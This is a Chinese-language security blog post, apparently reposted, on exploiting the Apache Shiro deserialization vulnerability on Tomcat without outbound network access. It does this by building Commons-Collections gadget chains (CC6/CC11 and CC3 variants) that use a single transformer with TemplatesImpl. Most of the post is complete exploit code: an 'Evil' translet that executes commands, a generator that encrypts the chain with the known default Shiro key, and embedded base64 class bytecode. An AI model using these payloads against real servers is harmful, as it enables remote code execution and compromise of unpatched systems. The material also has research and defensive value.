赞
踩
目录
shiro反序列化大家都很熟,出网可以打JRMP二次反序列化,但在不出网利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro原生的commons-collections:3.2.1
归根结底一句话,就是“如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,由于CC链用到了Transformer数组,不是Java自身的数组,导致这条链无法利用”
而CC链中,如何能避开Transformer数组的调用呢,是不用Transformer的Transform方法了吗? 那CC链还能叫CC链吗(
这里我们要关注的点并非Transformer,而是“数组”,即是,要只用一个Transformer来完成命令执行的效果,这样想来,似乎也就不再那么天马行空。
一个执行命令的Transformer,可以是InstantiateTransformer配合TrAXFilter来啥啥啥,也可以是用InvokerTransformer来调用可以加载一个类的对象的某个sink点。
藏着掖着也没意思,大伙都猜到了,还得是我们的老朋友TemplatesImpl。
我们再来回顾一下CC6,这条链的关键类TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key,当这个map是LazyMap时,其get方法就是触发transform的关键点,最终调用transform(key)
当时似乎传key的时候只要随便传个"keykey"/"valuevalue"就行,因为Transformer数组的第一个对象是ConstantTransformer,不管传什么,其返回值都是设定好的。
OK,那我们退一步,为什么要有ConstantTransformer,师傅们可能会想到“将Runtime对象传递给InvokerTransformer,作为其transform方法的参数”这种答案,这是正确的,因为ConstantTransformer扮演的正是一个对象传递者的角色。
但Shiro反序列化苛刻的条件要求我们只能使用一个Transformer,很遗憾,ConstantTransformer不能为我们所用了。
不过其精神还是在的,LazyMap#get 的参数key,会被传进transform(),它也可以平替ConstantTransformer的角色——一个最简单的对象传递者。
所以我们这次要传的key就不能那么随便了,
对于CC6,它将被指定为TemplatesImpl传入给InvokerTransformer
对于CC3,它将被指定为TrAXFilter传入给InstantiateTransformer,道理是一样的,不再解释
可以看这篇文章:Shiro反序列化结合CC3链使用 - Rainy-Autumn's blog
- // Evil.java
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
-
- public class Evil extends AbstractTranslet {
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
-
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
-
- public Evil() throws Exception {
- super();
- System.out.println("Hello TemplatesImpl");
- Runtime.getRuntime().exec("calc");
- }
- }
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import org.apache.shiro.crypto.AesCipherService;
- import org.apache.shiro.util.ByteSource;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.Base64;
- import java.util.HashMap;
- import java.util.Map;
-
- public class GenePayLoad {
- public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
- Class clazz = obj.getClass();
- Field field = clazz.getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, newValue);
- }
- public static byte[] CC11_PayLoad(byte[] clazzBytes) throws Exception {
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
-
- // 先设置成人畜无害的getClass方法,避免本地调试触发payload
- Transformer transformer = new InvokerTransformer("getClass", null, null);
-
- Map innerMap = new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformer);
-
- TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);
-
- Map expMap = new HashMap();
- expMap.put(tiedMapEntry, "xxx");
-
- outerMap.clear();
-
- setFieldValue(transformer, "iMethodName", "newTransformer");
-
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(expMap);
- oos.close();
-
- return baos.toByteArray();
- }
-
- public static void main(String[] args) throws Exception {
- byte[] codes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
- AesCipherService aes = new AesCipherService();
- byte[] key =
- java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
- ByteSource ciphertext = aes.encrypt(CC11_PayLoad(codes), key);
- System.out.printf(ciphertext.toString());
- }
- }
- package com.shiroTest;
-
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InstantiateTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import javax.xml.transform.Templates;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.Base64;
- import java.util.HashMap;
- import java.util.Map;
-
- public class CC3 {
- public byte[] getPayload2() throws Exception{
-
- byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
- TemplatesImpl templates = new TemplatesImpl();
- setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
- setFieldValue(templates,"_name","dwa");
- setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
-
- Transformer transformers = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
- HashMap<Object, Object> map = new HashMap<>();
- Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
- //第一个参数的map
- // get方法中调用的是map.get
- // 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
- HashMap<Object, Object> map2 = new HashMap<>();
- //hashMap的readObject时会调用hash方法
- // 然后key.hashCode() 会调用key的hashCode方法 key的值为tiedMapEntry
- //调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
- map2.put(tiedMapEntry, "sss");
- lazymap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
- Class c = LazyMap.class;
- Field factoryField = c.getDeclaredField("factory");
- factoryField.setAccessible(true);
- factoryField.set(lazymap,transformers);
-
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
- objectOutputStream.writeObject(map2);
- objectOutputStream.close();
- return barr.toByteArray();
- }
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj,value);
- }
- }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。